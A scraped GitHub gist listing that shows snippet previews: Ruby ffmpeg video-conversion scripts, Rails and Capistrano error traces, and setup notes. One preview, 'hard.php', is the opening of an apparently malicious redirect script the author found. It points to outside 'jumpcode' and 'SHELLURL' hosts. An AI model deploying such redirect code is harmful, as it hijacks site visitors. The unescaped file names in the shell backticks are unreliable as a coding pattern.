Skip to content

Instantly share code, notes, and snippets.

View cdesch's full-sized avatar
🏠
Working from home

cdesch cdesch

🏠
Working from home
View GitHub Profile
puts 'Converting FLV files'
Dir.new('.').each do |file|
if file =~ /.\.flv$/i
puts ' --> converting: ' + file + ' to ' + file.gsub(/.\.flv$/i, '.mp4')
`ffmpeg -i #{file} #{file.gsub(/.\.flv$/i, '.mp4')}`
end
end
@cdesch
cdesch / hard.php
Created July 23, 2015 20:30
a PHP script I found to redirect to a website
<?php
error_reporting ( 0 );
$jumpcode='http://lsilence.com/hogan.js';
define("DESURL","http://www.raffaello-network.com/");
define("SHELLURL","http://saturnaliabooks.com/hards.php?");
define("RP","-p-");
define("RC","-c-");
define("HI","orange/sale-hogan-discount-shoes-women.html");
activerecord (4.2.3) lib/active_record/dynamic_matchers.rb:26:in `method_missing'
/Users/cj/RubymineProjects/book_store/lib/book_store/admin/books.rb:8:in `block (3 levels) in <top (required)>'
/Users/cj/.rbenv/versions/2.2.0/lib/ruby/gems/2.2.0/bundler/gems/activeadmin-cdace51b2a5c/lib/active_admin/views/components/active_admin_form.rb:53:in `call'
/Users/cj/.rbenv/versions/2.2.0/lib/ruby/gems/2.2.0/bundler/gems/activeadmin-cdace51b2a5c/lib/active_admin/views/components/active_admin_form.rb:53:in `block (2 levels) in inputs'
actionview (4.2.3) lib/action_view/helpers/capture_helper.rb:38:in `block in capture'
actionview (4.2.3) lib/action_view/helpers/capture_helper.rb:202:in `with_output_buffer'
actionview (4.2.3) lib/action_view/helpers/capture_helper.rb:38:in `capture'
/Users/cj/.rbenv/versions/2.2.0/lib/ruby/gems/2.2.0/bundler/gems/activeadmin-cdace51b2a5c/lib/active_admin/views/components/active_admin_form.rb:52:in `block in inputs'
(Backtrace restricted to imported tasks)
cap aborted!
SSHKit::Runner::ExecuteError: Exception while executing as deploy@192.168.1.112: rake exit status: 1
rake stdout: == 20150817191541 CreateBookStoreBooks: migrating =============================
-- create_table(:book_store_books)
rake stderr: rake aborted!
StandardError: An error has occurred, this and all later migrations canceled:
PG::UndefinedTable: ERROR: relation "authors" does not exist
: ALTER TABLE "book_store_books" ADD CONSTRAINT "fk_rails_52f80cb3c5"
rails plugin new basic_calendar -T --mountable --dummy-path=spec/dummy && cd basic_calendar
Add
s.test_files = Dir["spec/**/*"]
#append rakefile
require 'rspec/core'
require 'rspec/core/rake_task'
desc "Run all specs in spec directory (excluding plugin specs)"
@cdesch
cdesch / ShortenVideo.rb
Created September 16, 2015 19:20
Shorten all videos in a directory to a specified time using ffmpeg
puts 'Converting FLV files'
basedir = '.'
Dir.glob("*.mp4") do |my_text_file|
puts ' --> converting: ' + my_text_file
puts "ffmpeg -i #{my_text_file.gsub(/ /, '\ ')} -ss 00:00:00.0 -c copy -t 00:00:10.0 new.#{my_text_file.gsub(/ /, '\ ')}"
`ffmpeg -i #{my_text_file.gsub(/ /, '\ ')} -ss 00:00:00.0 -c copy -t 00:00:10.0 new.#{my_text_file.gsub(/ /, '\ ')}`
end
Run: brew update
Fix permissions when you get this:
cjsMBP15:~ cj$ brew update
Error: The /usr/local directory is not writable.
Even if this directory was writable when you installed Homebrew, other
software may change permissions on this directory. Some versions of the
"InstantOn" component of Airfoil or running Cocktail cleanup/optimizations
are known to do this.
Installing bcrypt-ruby (2.1.4) with native extensions /usr/lib/ruby/1.9.1/rubygems/installer.rb:562:in `rescue in block in build_extensions': ERROR: Failed to build gem native extension. (Gem::Installer::ExtensionBuildError)
/usr/bin/ruby1.9.1 extconf.rb
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
from /usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require'
from extconf.rb:13:in `<main>'
Gem files will remain installed in /home/vagrant/.bundler/tmp/31895/gems/bcrypt-ruby-2.1.4 for inspection.
Results logged to /home/vagrant/.bundler/tmp/31895/gems/bcrypt-ruby-2.1.4/ext/mri/gem_make.out
@cdesch
cdesch / issue.rb
Created March 11, 2016 15:56
ActionView::MissingTemplate:
ActionView::MissingTemplate: Missing template front_page/index, application/index with {:locale=>[:en], :formats=>[:gif, "image/x-xbitmap", :jpeg, "image/pjpeg", "application/x-shockwave-flash", "application/vnd.ms-excel", "application/vnd.ms-powerpoint", "application/msword"], :variants=>[], :handlers=>[:erb, :builder, :raw, :ruby, :coffee, :arb, :jbuilder]}. Searched in:
* "/app/app/views"
* "/app/vendor/bundle/ruby/2.0.0/gems/activeadmin-1.0.0.pre2/app/views"
* "/app/vendor/bundle/ruby/2.0.0/gems/kaminari-0.16.3/app/views"
* "/app/vendor/bundle/ruby/2.0.0/gems/devise-3.5.2/app/views"
File "/app/vendor/bundle/ruby/2.0.0/gems/actionview-4.2.4/lib/action_view/path_set.rb", line 46, in find
File "/app/vendor/bundle/ruby/2.0.0/gems/actionview-4.2.4/lib/action_view/lookup_context.rb", line 121, in find
File "/app/vendor/bundle/ruby/2.0.0/gems/actionview-4.2.4/lib/action_view/renderer/abstract_renderer.rb", line 18, in find_template
File "/app/vendor/bundle/ruby/2.0.0/gems/actionview-4.2.4/lib/ac
#OS X El Capitan 10.11.4
#Ruby 2.3.0
#Rails 4.2.6
#manual installation of the following gems when upgrading to ruby 2.3.0
gem install eventmachine -v '1.0.8' -- --with-cppflags=-I/usr/local/opt/openssl/include
#gem install libv8 -v '3.16.14.13' -- --with-system-v8
#brew install v8